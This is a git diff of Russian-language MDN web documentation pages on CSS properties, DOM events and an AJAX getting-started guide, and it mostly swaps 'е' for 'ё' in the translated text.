        @@ -322,6 +322,6 @@ dd + dd {

        Совместимость с браузером

        +Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправьте нам запрос на перенос.

        {{Compat("css.properties.position")}}

        diff --git a/files/ru/web/css/radial-gradient()/index.html b/files/ru/web/css/radial-gradient()/index.html index efd1cd0d57..297ef580c4 100644 --- a/files/ru/web/css/radial-gradient()/index.html +++ b/files/ru/web/css/radial-gradient()/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/radial-gradient() ---
        {{CSSRef}}
        -

        CSS функция radial-gradient() создает картинку состоящую из последовательных переходов между двумя и более цветами, которые исходят из заданного центра. Они могут принимать форму круга или эллипса. Результатом функции будет объект типа {{cssxref("<gradient>")}}, который является расширением типа {{cssxref("<image>")}}.

        +

        CSS функция radial-gradient() создаёт картинку состоящую из последовательных переходов между двумя и более цветами, которые исходят из заданного центра. Они могут принимать форму круга или эллипса. Результатом функции будет объект типа {{cssxref("<gradient>")}}, который является расширением типа {{cssxref("<image>")}}.

        {{EmbedInteractiveExample("pages/css/function-radial-gradient.html")}}
        @@ -19,16 +19,16 @@ translation_of: Web/CSS/radial-gradient()

        Композиция свойства

        -

        Радиальный градиент задается позицией центраконечной формой, и двумя или более точками изменения цвета.

        +

        Радиальный градиент задаётся позицией центраконечной формой, и двумя или более точками изменения цвета.

        Чтобы создать плавный градиент, функция radial-gradient() рисует серию концентрических форм исходящих из центра к краям формы градиента (и потенциально далее за его пределы). Конечная форма может быть как кругом так и эллипсом.

        -

        Точки изменения цвета расположены на виртуальном луче градиента, который расширяется горизонтально направо. Позиция точек заданных в процентах рассчитывается относительно пересечения конечной формы таким лучом, что является 100%. Цвет каждой такой формы задается цветом на пересечении луча градиента и этой формы.

        +

        Точки изменения цвета расположены на виртуальном луче градиента, который расширяется горизонтально направо. Позиция точек заданных в процентах рассчитывается относительно пересечения конечной формы таким лучом, что является 100%. Цвет каждой такой формы задаётся цветом на пересечении луча градиента и этой формы.

        Синтаксис

        /* Градиент в центре контейнера,
        -   переход от красного к синему и после к зеленому */
        +   переход от красного к синему и после к зелёному */
         radial-gradient(circle at center, red 0, blue, green 100%)

        Параметры

        @@ -108,7 +108,7 @@ radial-gradient(circle at center, red 0, blue, green 100%)

        {{EmbedLiveSample('Простой_градиент', 120, 120)}}

        -

        Градиент со смещенным центром

        +

        Градиент со смещённым центром

      - + diff --git a/files/ru/web/css/reference/index.html b/files/ru/web/css/reference/index.html index 507cc1fa72..36869289dc 100644 --- a/files/ru/web/css/reference/index.html +++ b/files/ru/web/css/reference/index.html @@ -160,7 +160,7 @@ div.menu-bar li:hover > ul { display: block; }
    • Box-модель
    • Замещаемый элемент
    • Синтаксис определения значений
    • -
    • Сокращенные свойства
    • +
    • Сокращённые свойства
    • Объединение отступов
    • Модель визуального форматирования
    • Слои
    • diff --git a/files/ru/web/css/repeating-linear-gradient()/index.html b/files/ru/web/css/repeating-linear-gradient()/index.html index e7dc20f24e..c3160fb98a 100644 --- a/files/ru/web/css/repeating-linear-gradient()/index.html +++ b/files/ru/web/css/repeating-linear-gradient()/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/repeating-linear-gradient() ---
      {{CSSRef}}
      -

      CSS функция repeating-linear-gradient() создает изображение состоящее из повторяющихся линейных градиентов. Она схожа с {{cssxref("linear-gradient")}} и принимает те же аргументы, но повторяет переходы цветов бесконечно во всех направлениях покрывая весь контейнер. Функция возвращает объект типа {{cssxref("<gradient>")}}, являющегося разновидностью типа данных {{cssxref("<image>")}}.

      +

      CSS функция repeating-linear-gradient() создаёт изображение состоящее из повторяющихся линейных градиентов. Она схожа с {{cssxref("linear-gradient")}} и принимает те же аргументы, но повторяет переходы цветов бесконечно во всех направлениях покрывая весь контейнер. Функция возвращает объект типа {{cssxref("<gradient>")}}, являющегося разновидностью типа данных {{cssxref("<image>")}}.

      /* Повторяющийся градиент с углом наклона 45 градусов,
          начинающийся с синего и заканчивающийся красным цветом */
      @@ -16,14 +16,14 @@ repeating-linear-gradient(45deg, blue, red);
       repeating-linear-gradient(to left top, blue, red);
       
       /* Повторяющийся градиент идущий от низа к верху,
      -   начинающийся с синего, переходящего в зеленый на 40%,
      +   начинающийся с синего, переходящего в зелёный на 40%,
          и заканчивающийся красным цветом */
       repeating-linear-gradient(0deg, blue, green 40%, red);
       
      -

      С каждым повтором позиции цветов сдвигаются на величину кратную длине базового градиента (расстояние от позиции последнего цвета до позиции первого). Таким образом что позиция каждого последнего цвета совпадает с позицией стартового цвета. И если цвета отличаются это приведет к резкому визуальному переходу.

      +

      С каждым повтором позиции цветов сдвигаются на величину кратную длине базового градиента (расстояние от позиции последнего цвета до позиции первого). Таким образом что позиция каждого последнего цвета совпадает с позицией стартового цвета. И если цвета отличаются это приведёт к резкому визуальному переходу.

      -

      Повторяющийся линейный градиент (как и любой прочий градиент) не имеет размерностей по умолчанию; т.е. у него нет предопределенного размера либо пропорции. Его размер будет совпадать с размерами элемента к которому он применен.

      +

      Повторяющийся линейный градиент (как и любой прочий градиент) не имеет размерностей по умолчанию; т.е. у него нет предопределённого размера либо пропорции. Его размер будет совпадать с размерами элемента к которому он применен.

      Примечание: Поскольку <gradient> относится к типу данных <image> , он может быть использован только там где применим тип <image>. По этой причине repeating-linear-gradient() не будет работать с {{Cssxref("background-color")}} и прочими свойствами использующими тип данных {{cssxref("<color>")}}.

      diff --git a/files/ru/web/css/selector_list/index.html b/files/ru/web/css/selector_list/index.html index dfa5948008..7bb32d2d94 100644 --- a/files/ru/web/css/selector_list/index.html +++ b/files/ru/web/css/selector_list/index.html @@ -2,7 +2,7 @@ title: Список селекторов slug: Web/CSS/Selector_list tags: - - Верстка + - Вёрстка - список селекторов translation_of: Web/CSS/Selector_list --- @@ -26,14 +26,14 @@ div {

      Группирование на одной линии

      -

      Группирование селекторов списком, разделенным запятой, на одной строк.

      +

      Группирование селекторов списком, разделённым запятой, на одной строк.

      h1, h2, h3, h4, h5, h6 { font-family: helvetica; }
       

      Мультистрочное группирование

      -

      Группирование селекторов списком, разделенным запятой, на нескольких строках.

      +

      Группирование селекторов списком, разделённым запятой, на нескольких строках.

      #main,
       .content,
      @@ -54,7 +54,7 @@ h3 { font-family: sans-serif }

      Это происходит потому, что один неподдерживаемый селектор в списке селекторов делает недействительным все правило.

      -

      Есть способ исправить это - нужно использовать селектор {{CSSxRef(":is", ":is()")}}, который просто игнорирует недопустимые селекторы в своих аргумента, но за счет этого, все селекторы имеют одинаковую спецификацию, так как {{CSSxRef(":is", ":is()")}} вычисляет спецификацию.

      +

      Есть способ исправить это - нужно использовать селектор {{CSSxRef(":is", ":is()")}}, который просто игнорирует недопустимые селекторы в своих аргумента, но за счёт этого, все селекторы имеют одинаковую спецификацию, так как {{CSSxRef(":is", ":is()")}} вычисляет спецификацию.

      h1 { font-family: sans-serif }
       h2:maybe-unsupported { font-family: sans-serif }
      diff --git a/files/ru/web/css/shorthand_properties/index.html b/files/ru/web/css/shorthand_properties/index.html
      index 5ac6911db1..90738acb1b 100644
      --- a/files/ru/web/css/shorthand_properties/index.html
      +++ b/files/ru/web/css/shorthand_properties/index.html
      @@ -9,7 +9,7 @@ translation_of: Web/CSS/Shorthand_properties
       ---
       
      {{cssref}}
      -

      Сокращенные свойства - это такие CSS свойства, которые позволяют одновременно устанавливать значения нескольких других свойств. Используя сокращенное свойство, вы можете писать более сжатые (и часто более читаемые) таблицы стилей, экономя время и энергию.

      +

      Сокращённые свойства - это такие CSS свойства, которые позволяют одновременно устанавливать значения нескольких других свойств. Используя сокращённое свойство, вы можете писать более сжатые (и часто более читаемые) таблицы стилей, экономя время и энергию.

      The CSS specification defines shorthand properties to group the definition of common properties acting on the same theme. For instance, the CSS {{cssxref("background")}} property is a shorthand property that's able to define the values of {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, and {{cssxref("background-position")}}. Similarly, the most common font-related properties can be defined using the shorthand {{cssxref("font")}}, and the different margins around a box can be defined using the {{cssxref("margin")}} shorthand.

      diff --git a/files/ru/web/css/specificity/index.html b/files/ru/web/css/specificity/index.html index 42adadbf3a..535a64f460 100644 --- a/files/ru/web/css/specificity/index.html +++ b/files/ru/web/css/specificity/index.html @@ -38,7 +38,7 @@ translation_of: Web/CSS/Specificity

      Важное исключение из правил - !important

      -

      Когда при объявлении стиля используется модификатор !important, это объявление получает наивысший приоритет среди всех прочих объявлений. Хотя технически модификатор !important не имеет со специфичностью ничего общего, он непосредственно на неё влияет. Поскольку !important усложняет отладку, нарушая естественное каскадирование ваших стилей, он не приветствуется и следует избегать его использования. Если к элементу применимы два взаимоисключающих стиля с модификатором !important, то применен будет стиль с большей специфичностью.

      +

      Когда при объявлении стиля используется модификатор !important, это объявление получает наивысший приоритет среди всех прочих объявлений. Хотя технически модификатор !important не имеет со специфичностью ничего общего, он непосредственно на неё влияет. Поскольку !important усложняет отладку, нарушая естественное каскадирование ваших стилей, он не приветствуется и следует избегать его использования. Если к элементу применимы два взаимоисключающих стиля с модификатором !important, то применён будет стиль с большей специфичностью.

      Несколько практических советов:

      @@ -69,7 +69,7 @@ span { { #someElement p { color: blue; @@ -96,7 +96,7 @@ p.awesome .awesome Не исключение - :not() -

      Отрицающий псевдокласс :not не учитывается как псевдокласс при расчете специфичности. Однако селекторы, расположенные внутри :not, при подсчете количества по типам селекторов рассматриваются как обычные селекторы и учитываются.

      +

      Отрицающий псевдокласс :not не учитывается как псевдокласс при расчёте специфичности. Однако селекторы, расположенные внутри :not, при подсчёте количества по типам селекторов рассматриваются как обычные селекторы и учитываются.

      Следующий фрагмент CSS ...

      @@ -138,7 +138,7 @@ div:not(.outer) p { }
      -

      ... примененный к такому HTML ...

      +

      ... применённый к такому HTML ...

      <div class="outer">
         <p>Это div.outer</p>
      @@ -168,7 +168,7 @@ div:not(.outer) p {
       }
       
      -

      ... примененные к нижеследующей разметке ...

      +

      ... применённые к нижеследующей разметке ...

      <p id="foo">Это пример.</p>
       
      @@ -229,7 +229,7 @@ h1 {

      Вот заголовок!

      -

      Потому что селектор h1 непосредственно соответствует элементу, а стиль, задающий зеленый цвет, всего лишь унаследован от родителя.

      +

      Потому что селектор h1 непосредственно соответствует элементу, а стиль, задающий зелёный цвет, всего лишь унаследован от родителя.

      Дополнительная информация

      diff --git a/files/ru/web/css/syntax/index.html b/files/ru/web/css/syntax/index.html index ead0688e79..18803ab95c 100644 --- a/files/ru/web/css/syntax/index.html +++ b/files/ru/web/css/syntax/index.html @@ -12,12 +12,12 @@ original_slug: Web/CSS/Синтаксис
      • Свойство (property) — идентификатор действия, которое будет применено к элементу (например, цвет, или размер границы, и т.д.).
      • -
      • Значение (value) — описывает, как именно свойство будет обработано браузером. Каждое свойство имеет набор допустимых значений, определенных формальными правилами, а также семантический смысл, реализованный движком браузера.
      • +
      • Значение (value) — описывает, как именно свойство будет обработано браузером. Каждое свойство имеет набор допустимых значений, определённых формальными правилами, а также семантический смысл, реализованный движком браузера.

      Объявления CSS

      -

      Задание CSS свойствам определенных значений — это основная функция CSS. Пара свойство-значение называется объявлением. Работа CSS движка заключается в поиске соответствий между объявлениями стилей и элементом на странице, чтобы правильно отобразить и форматировать этот элемент.

      +

      Задание CSS свойствам определённых значений — это основная функция CSS. Пара свойство-значение называется объявлением. Работа CSS движка заключается в поиске соответствий между объявлениями стилей и элементом на странице, чтобы правильно отобразить и форматировать этот элемент.

      И свойство, и значения регистрозависимы. Пара свойство-значение разделяется двоеточием, ':' (U+003A COLON), а пробелы до, между и после свойства или значения игнорируются.

      @@ -31,11 +31,11 @@ original_slug: Web/CSS/Синтаксис

      css syntax - block.png

      -

      Такие блоки называются блоками объявлений, и объявления в них разделяются точкой с запятой, ';' (U+003B SEMICOLON). Блок объявлений может быть пустым, т.е. не содержать объявлений. Пробелы между объявлениями игнорируются. Последнее объявление блока не нуждается в точке с запятой, хотя считается хорошим тоном добавить ее для того, чтобы не допустить упущение этого знака при добавлении другого объявления в будущем.

      +

      Такие блоки называются блоками объявлений, и объявления в них разделяются точкой с запятой, ';' (U+003B SEMICOLON). Блок объявлений может быть пустым, т.е. не содержать объявлений. Пробелы между объявлениями игнорируются. Последнее объявление блока не нуждается в точке с запятой, хотя считается хорошим тоном добавить её для того, чтобы не допустить упущение этого знака при добавлении другого объявления в будущем.

      css syntax - declarations block.png

      -
      Содержимое блока объявлений CSS, т. е. объявления, разделенные точкой с запятой. Блок объявлений может быть помещен внутри атрибута style HTML-документа без фигурных скобок.
      +
      Содержимое блока объявлений CSS, т. е. объявления, разделённые точкой с запятой. Блок объявлений может быть помещён внутри атрибута style HTML-документа без фигурных скобок.

      CSS rulesets

      diff --git a/files/ru/web/css/time/index.html b/files/ru/web/css/time/index.html index 6d15f3733d..f892300dc1 100644 --- a/files/ru/web/css/time/index.html +++ b/files/ru/web/css/time/index.html @@ -2,7 +2,7 @@ title:
      - + diff --git a/files/ru/web/css/used_value/index.html b/files/ru/web/css/used_value/index.html index 2467369481..4ae8b7251b 100644 --- a/files/ru/web/css/used_value/index.html +++ b/files/ru/web/css/used_value/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/used_value
      Используемое значение CSS свойство, которое используется, когда все вычисления уже выполнены, смотрите вычисленное значение.
      -

      После того как {{glossary("user agent")}} закончил свои расчеты каждое свойство CSS имеет своё значение. Используемые значения  (например, {{cssxref("width")}}, {{cssxref("line-height")}}) в пикселях. Используемые значения сокращённых свойств (например, {{cssxref("background")}}) согласуются с теми из свойств компонентов  (например, {{cssxref("background-color")}} или {{cssxref("background-size")}}) и с {{cssxref("position")}} и {{cssxref("float")}}.

      +

      После того как {{glossary("user agent")}} закончил свои расчёты каждое свойство CSS имеет своё значение. Используемые значения  (например, {{cssxref("width")}}, {{cssxref("line-height")}}) в пикселях. Используемые значения сокращённых свойств (например, {{cssxref("background")}}) согласуются с теми из свойств компонентов  (например, {{cssxref("background-color")}} или {{cssxref("background-size")}}) и с {{cssxref("position")}} и {{cssxref("float")}}.

      Замечание:  {{domxref("Window.getComputedStyle", "getComputedStyle()")}} DOM API возвращает решённое значение, которое может быть численным значением или используемым значением, в зависимости от свойства.

      diff --git a/files/ru/web/css/user-select/index.html b/files/ru/web/css/user-select/index.html index 2b9b17f8ae..ed33dd0608 100644 --- a/files/ru/web/css/user-select/index.html +++ b/files/ru/web/css/user-select/index.html @@ -2,7 +2,7 @@ title: user-select slug: Web/CSS/user-select tags: - - Верстка + - Вёрстка - Свойство translation_of: Web/CSS/user-select --- @@ -62,7 +62,7 @@ user-select: unset;
      text
      Текст может быть выбран пользователем.
      all
      -
      В HTML-редакторе, если двойной клик или контекстный клик произошел во вложенном элементе, будет выбрано все содержимое коренного предка с этим значением свойства.
      +
      В HTML-редакторе, если двойной клик или контекстный клик произошёл во вложенном элементе, будет выбрано все содержимое коренного предка с этим значением свойства.
      contain
      Позволяет начать выбор внутри элемента; однако, выбор будет содержаться внутри границ данного элемента.
      element{{non-standard_inline}} (IE-specific alias)
      diff --git a/files/ru/web/css/using_css_custom_properties/index.html b/files/ru/web/css/using_css_custom_properties/index.html index 65fd104311..064d0fda66 100644 --- a/files/ru/web/css/using_css_custom_properties/index.html +++ b/files/ru/web/css/using_css_custom_properties/index.html @@ -35,12 +35,12 @@ translation_of: Web/CSS/Using_CSS_custom_properties
      -

      Note: В более ранней спецификации префикс для переменных был var- , но позже был изменен на --. Firefox 31 и выше следуют новой спецификации.({{bug(985838)}})

      +

      Note: В более ранней спецификации префикс для переменных был var- , но позже был изменён на --. Firefox 31 и выше следуют новой спецификации.({{bug(985838)}})

      Первый шаг с CSS Переменными

      -

      Начнем с этого простого CSS, который окрасит элементы разных классов одинаковым цветом:

      +

      Начнём с этого простого CSS, который окрасит элементы разных классов одинаковым цветом:

      .one {
      diff --git a/files/ru/web/css/vertical-align/index.html b/files/ru/web/css/vertical-align/index.html
      index 2ff298b02e..2a4ae09c70 100644
      --- a/files/ru/web/css/vertical-align/index.html
      +++ b/files/ru/web/css/vertical-align/index.html
      @@ -89,7 +89,7 @@ p {
           <td style="vertical-align: middle">middle</td>
           <td style="vertical-align: bottom">bottom</td>
           <td>
      -      <p>Существует теория, которая утверждает, что если однажды кто-нибудь доподлинно выяснит, что такое и для чего нужна Вселенная, она тотчас же исчезнет, и вместо нее появится нечто еще более причудливое и необъяснимое.</p>
      +      <p>Существует теория, которая утверждает, что если однажды кто-нибудь доподлинно выяснит, что такое и для чего нужна Вселенная, она тотчас же исчезнет, и вместо неё появится нечто ещё более причудливое и необъяснимое.</p>
       <p>Существует и другая теория, согласно которой это уже случилось.</p>
      Ratio1_1.85.png 185/100 = 91/50
      (нецелые делимые и делители не допускаются)
      Наиболее распространенный видео-формат в 1960-х.Наиболее распространённый видео-формат в 1960-х.
      Ratio1_2.39.png
      {{ SpecName('CSS3 Selectors', '#universal-selector', 'universal selector') }} {{ Spec2('CSS3 Selectors') }}Определено поведение в отношении пространств имен и добавлена подсказка, что разрешено пренебрегать селектором для псевдо-элементовОпределено поведение в отношении пространств имён и добавлена подсказка, что разрешено пренебрегать селектором для псевдо-элементов
      {{ SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector') }}
      diff --git a/files/ru/web/css/will-change/index.html b/files/ru/web/css/will-change/index.html index 916c5d4263..cb52d6e9b0 100644 --- a/files/ru/web/css/will-change/index.html +++ b/files/ru/web/css/will-change/index.html @@ -26,16 +26,16 @@ will-change: unset;
      • -

        Не применяйте will-change к большому числу элементов. Браузер и так пытается изо всех сил всё оптимизировать. Некоторые тяжелые оптимизации ссылающиеся на will-change используют много аппаратных мощностей, и если злоупотреблять этим, это может привести к замедлению работы страницы и потреблению большого количества ресурсов.

        +

        Не применяйте will-change к большому числу элементов. Браузер и так пытается изо всех сил всё оптимизировать. Некоторые тяжёлые оптимизации ссылающиеся на will-change используют много аппаратных мощностей, и если злоупотреблять этим, это может привести к замедлению работы страницы и потреблению большого количества ресурсов.

      • Используйте умеренно. Обычное поведение для оптимизаций которые выполняет браузер, удалить оптимизацию как можно скорее и вернуть нормальное состояние. Но добавление will-change прямо в файле стилей предполагает, что указанный элемент всегда находится в нескольких шагах от изменений и браузер будет сохранять для него оптимизацию гораздо больше времени. Так что, было бы хорошо включать и отключать will-change используя скрипт до и после того как произошли изменения.

      • -

        Не применяйте will-change к элементам для выполнения преждевременной оптимизации. Если ваша страница хорошо отрабатывается, не применяйте will-change свойство к элементу только чтобы выжать немного больше скорости. will-change предназначен для использования в крайнем случае, для того чтобы исправить существующие проблемы оптимизации. Его не следует использовать для предвидения проблем оптимизации. Чрезмерное использование will-change приведет к излишнему потреблению памяти и вызовет более тяжелый рендеринг так как браузер будет пытаться подготовиться к возможным изменениям. Это приведет к ухудшению производительности.

        +

        Не применяйте will-change к элементам для выполнения преждевременной оптимизации. Если ваша страница хорошо отрабатывается, не применяйте will-change свойство к элементу только чтобы выжать немного больше скорости. will-change предназначен для использования в крайнем случае, для того чтобы исправить существующие проблемы оптимизации. Его не следует использовать для предвидения проблем оптимизации. Чрезмерное использование will-change приведёт к излишнему потреблению памяти и вызовет более тяжёлый рендеринг так как браузер будет пытаться подготовиться к возможным изменениям. Это приведёт к ухудшению производительности.

      • -

        Дайте ему достаточно времени, чтобы работать. Это свойство дает автору способ указать пользовательскому агенту свойства, которые могут измениться в будущем. Затем браузер может применить любые предварительные оптимизации, необходимые для изменения свойств до того, когда эти свойства изменятся. Поэтому важно дать браузеру некоторое время, чтобы провести оптимизацию. Найдите способ предсказать изменение хотя бы немного заранее, что-то изменится, и затем установите изменение.

        +

        Дайте ему достаточно времени, чтобы работать. Это свойство даёт автору способ указать пользовательскому агенту свойства, которые могут измениться в будущем. Затем браузер может применить любые предварительные оптимизации, необходимые для изменения свойств до того, когда эти свойства изменятся. Поэтому важно дать браузеру некоторое время, чтобы провести оптимизацию. Найдите способ предсказать изменение хотя бы немного заранее, что-то изменится, и затем установите изменение.

      @@ -58,7 +58,7 @@ will-change: unset;
      contents
      Указывает, что автор ожидает анимацию или изменение чего то в контенте элемента в ближайшем будущем.
      {{cssxref("custom-ident", "<custom-ident>")}}
      -
      Указывает, что автор ожидает анимацию или изменить свойства с заданным именем в элементе в ближайшем будущем . Если заданное свойство-это сокращенная запись,  тогда оно указывает на все полные записи свойств, на которые указывает сокращенная запись. Это не может быть одним из следующих значений: unset, initial, inherit, will-change, auto, scroll-position, или contents
      +
      Указывает, что автор ожидает анимацию или изменить свойства с заданным именем в элементе в ближайшем будущем . Если заданное свойство-это сокращённая запись,  тогда оно указывает на все полные записи свойств, на которые указывает сокращённая запись. Это не может быть одним из следующих значений: unset, initial, inherit, will-change, auto, scroll-position, или contents

      Примеры

      diff --git a/files/ru/web/css/word-spacing/index.html b/files/ru/web/css/word-spacing/index.html index 0bd210c64b..495aa1889c 100644 --- a/files/ru/web/css/word-spacing/index.html +++ b/files/ru/web/css/word-spacing/index.html @@ -37,7 +37,7 @@ word-spacing: unset;
      normal
      -
      Нормальный интервал между словами, определенный текущим шрифтом и/или браузером.
      +
      Нормальный интервал между словами, определённый текущим шрифтом и/или браузером.
      {{cssxref("length")}}
      Определяет дополнительный интервал в дополнение к внутреннему интервалу между словами, определяемому шрифтом.
      {{cssxref("percentage")}}
      @@ -71,7 +71,7 @@ word-spacing: unset;

      Большое положительное или отрицательное значение word-spacing может сделать предложения, к которым применяется стиль, нечитаемыми.  Для текста, стилизованного с очень большими положительными значениями, слова будут так далеки друг от друга, что он больше не будет казаться предложением. Для текста, стилизованного с очень большими отрицательными значениями, слова будут перекрывать друг от друга до точки, где начало и конец каждого слова будут неразличимы.

      -

      Разборчивый word-spacing должен быть определен в каждом конкретном случае, так как различные семейства шрифтов имеют различную ширину символов. Нет ни одного значения, которое может обеспечить для всех семейств шрифтов автоматическое сохранение разборчивости.

      +

      Разборчивый word-spacing должен быть определён в каждом конкретном случае, так как различные семейства шрифтов имеют различную ширину символов. Нет ни одного значения, которое может обеспечить для всех семейств шрифтов автоматическое сохранение разборчивости.

      - + diff --git a/files/ru/web/events/index.html b/files/ru/web/events/index.html index c760122766..a796d5ade0 100644 --- a/files/ru/web/events/index.html +++ b/files/ru/web/events/index.html @@ -15,7 +15,7 @@ translation_of: Web/Events

      Эта статья содержит список событий, которые могут быть отправлены; некоторые стандартные события определены в официальной документации, тогда как другие события являются специфичными для конкретных браузеров. Для примера, в списке приведены специфические для браузера Mozilla события, которые позволяют использовать add-ons для взаимодействия с браузером.

      -

      Наиболее распространенные категории

      +

      Наиболее распространённые категории

      {{SpecName('CSS3 Text', '#propdef-word-spacing', 'word-spacing')}} {{Spec2('CSS3 Text')}}Заменяет предыдущее значение значением <spacing-limit>, которое определяет те же вещи, плюс значение <percentage>. Позволяет использовать до трех значений, описывающих оптимальное, минимальное и максимальное значение.Заменяет предыдущее значение значением <spacing-limit>, которое определяет те же вещи, плюс значение <percentage>. Позволяет использовать до трёх значений, описывающих оптимальное, минимальное и максимальное значение.
      {{SpecName('CSS3 Transitions', '#animatable-css', 'word-spacing')}}
      - + @@ -386,7 +386,7 @@ translation_of: Web/Events - + @@ -394,11 +394,11 @@ translation_of: Web/Events - + - + @@ -408,11 +408,11 @@ translation_of: Web/Events - + - + @@ -649,7 +649,7 @@ translation_of: Web/Events open
      show

      -

      Менее распространенные и нестандартные события

      +

      Менее распространённые и нестандартные события

      Abortable Fetch события

      diff --git a/files/ru/web/guide/ajax/getting_started/index.html b/files/ru/web/guide/ajax/getting_started/index.html index 56e8a80a0b..aee30a7337 100644 --- a/files/ru/web/guide/ajax/getting_started/index.html +++ b/files/ru/web/guide/ajax/getting_started/index.html @@ -23,7 +23,7 @@ original_slug: Web/Guide/AJAX/С_чего_начать

      Шаг 1 — Как послать HTTP запрос

      -

      Для того, чтобы послать HTTP запрос на сервер используя JavaScript, вам необходим экземпляр класса, который позволит это сделать. Такой класс впервые был введен в Internet Explorer как объект ActiveX, называемый XMLHTTP. Позже в Mozilla, Safari и другие браузеры был введен класс XMLHttpRequest, который поддерживал методы и свойства изначального объекта ActiveX от Microsoft.

      +

      Для того, чтобы послать HTTP запрос на сервер используя JavaScript, вам необходим экземпляр класса, который позволит это сделать. Такой класс впервые был введён в Internet Explorer как объект ActiveX, называемый XMLHTTP. Позже в Mozilla, Safari и другие браузеры был введён класс XMLHttpRequest, который поддерживал методы и свойства изначального объекта ActiveX от Microsoft.

      В результате, чтобы создать кросс-браузерный объект требуемого класса, вы можете сделать следующее:

      @@ -35,7 +35,7 @@ if (window.XMLHttpRequest) { // Mozilla, Safari, ... } -

      (В целях наглядности, код выше является немного упрощенным. Более жизненный пример будет рассмотрен в шаге 3 этой статьи)

      +

      (В целях наглядности, код выше является немного упрощённым. Более жизненный пример будет рассмотрен в шаге 3 этой статьи)

      Некоторые версии некоторых броузеров Mozilla не будут корректно работать, если ответ сервера не содержит заголовка XML mime-type. Чтобы решить эту проблему, вы можете использовать вызовы дополнительных методов для переопределения заголовка полученного от сервера, если он отличен от text/xml.

      @@ -43,11 +43,11 @@ if (window.XMLHttpRequest) { // Mozilla, Safari, ... httpRequest.overrideMimeType('text/xml'); -

      Далее вам необходимо решить, что вы будете делать после получения ответа сервера. На этом этапе вам необходимо указать объекту, какая JavaScript функция будет обрабатывать ответ. Это делается путем присваивания свойству onreadystatechange имени JavaScript функции, которую вы собираетесь использовать:

      +

      Далее вам необходимо решить, что вы будете делать после получения ответа сервера. На этом этапе вам необходимо указать объекту, какая JavaScript функция будет обрабатывать ответ. Это делается путём присваивания свойству onreadystatechange имени JavaScript функции, которую вы собираетесь использовать:

      httpRequest.onreadystatechange = nameOfTheFunction;

      -

      Заметьте, что после названия функции нет скобок и не указано параметров, потому что вы просто присваиваете ссылку на функцию, а не вызываете ее. К тому же, вместо указания имени функции, вы можете использовать возможность JavaScript объявлять функции на лету (так называемые «анонимные функции») и указывать действия, которые тотчас же будут обрабатывать ответ:

      +

      Заметьте, что после названия функции нет скобок и не указано параметров, потому что вы просто присваиваете ссылку на функцию, а не вызываете её. К тому же, вместо указания имени функции, вы можете использовать возможность JavaScript объявлять функции на лету (так называемые «анонимные функции») и указывать действия, которые тотчас же будут обрабатывать ответ:

      httpRequest.onreadystatechange = function(){
           // какой-нибудь код
      @@ -62,7 +62,7 @@ httpRequest.send(null);
       
       
      • Первый параметр вызова функции open() — метод HTTP запроса (GET, POST, HEAD или любой другой метод, который вы хотите использовать). Используйте методы в соответствии с HTTP стандартами, иначе некоторые браузеры (такие как Firefox) могут не обработать запрос. Информация о допустимых HTTP запросах доступна по адресу спецификации W3C
      • -
      • Второй параметр — URL запрашиваемой страницы. Из соображений безопасности возможность запрашивать страницы сторонних доменов недоступна. Убедитесь, что вы используете одинаковое доменное имя на всех страницах, иначе вы получите ошибку 'доступ запрещен' при вызове функции open(). Типичной ошибкой при доступе к сайту через site.ru является отправка запроса на www.site.ru.
      • +
      • Второй параметр — URL запрашиваемой страницы. Из соображений безопасности возможность запрашивать страницы сторонних доменов недоступна. Убедитесь, что вы используете одинаковое доменное имя на всех страницах, иначе вы получите ошибку 'доступ запрещён' при вызове функции open(). Типичной ошибкой при доступе к сайту через site.ru является отправка запроса на www.site.ru.
      • Третий параметр указывает, является ли запрос асинхронным. Если он TRUE, то выполнение JavaScript продолжится во время ожидания ответа сервера. В этом и заключается асинхронность технологии.
      @@ -88,7 +88,7 @@ httpRequest.send(null);
      if (httpRequest.readyState == 4) {
           // все в порядке, ответ получен
       } else {
      -    // все еще не готово
      +    // все ещё не готово
       }
       
      @@ -124,7 +124,7 @@ httpRequest.send(null);

      Шаг 3 — Простой пример

      -

      Давайте соберем все вместе и сделаем простой пример HTTP-запроса. Наш JavaScript запросит HTML документ test.html, который содержит текст "I'm a test." и выведет содержимое файла в диалоговом окне.

      +

      Давайте соберём все вместе и сделаем простой пример HTTP-запроса. Наш JavaScript запросит HTML документ test.html, который содержит текст "I'm a test." и выведет содержимое файла в диалоговом окне.

      <script type="text/javascript" language="javascript">
           function makeRequest(url) {
      @@ -181,7 +181,7 @@ httpRequest.send(null);
       
      • Пользователь нажимает на ссылку "Сделать запрос" в броузере;
      • Это вызывает функцию makeRequest() с параметром test.html — именем HTML файла;
      • -
      • Посылается запрос, после чего (onreadystatechange) выполнение передается alertContents();
      • +
      • Посылается запрос, после чего (onreadystatechange) выполнение передаётся alertContents();
      • alertContents() проверяет получен ли ответ и все ли с ним в порядке, после чего содержимое файла test.html выводится в диалоговом окне.
      @@ -191,7 +191,7 @@ httpRequest.send(null);

      Замечание 2: Если вы посылаете запрос не на статический XML-файл, а на серверный скрипт, возвращающий XML, то нужно установить некоторые заголовки ответа, если вы планируете сделать вашу страницу работоспособной в Internet Explorer помимо Mozilla. Если вы не установите заголовок Content-Type: application/xml, IE будет сообщать об ошибке JavaScript, 'Object Expected', после строки, где вы пытаетесь получить доступ к XML элементу. Если вы не установите заголовок Cache-Control: no-cache броузер будет кэшировать ответ и никогда не будет повторно отправлять запрос, что сделает отладку весьма «забавной».

      -

      Замечание 3: Если переменная httpRequest используется глобально, то конкурирующие функции, вызывающие makeRequest() могут конкурировать друг с другом, вызывая состязания. Объявление переменной httpRequest локально в функции и передача ее в alertContent() предотвращает состязания.

      +

      Замечание 3: Если переменная httpRequest используется глобально, то конкурирующие функции, вызывающие makeRequest() могут конкурировать друг с другом, вызывая состязания. Объявление переменной httpRequest локально в функции и передача её в alertContent() предотвращает состязания.

      Замечание 4: При привязывании колбэк-функции к onreadystatechange нельзя указать аргументы. По этой причине не работает следующий код:

      @@ -252,7 +252,7 @@ var root_node = xmldoc.getElementsByTagName('root').item(0); alert(root_node.firstChild.data);
      -

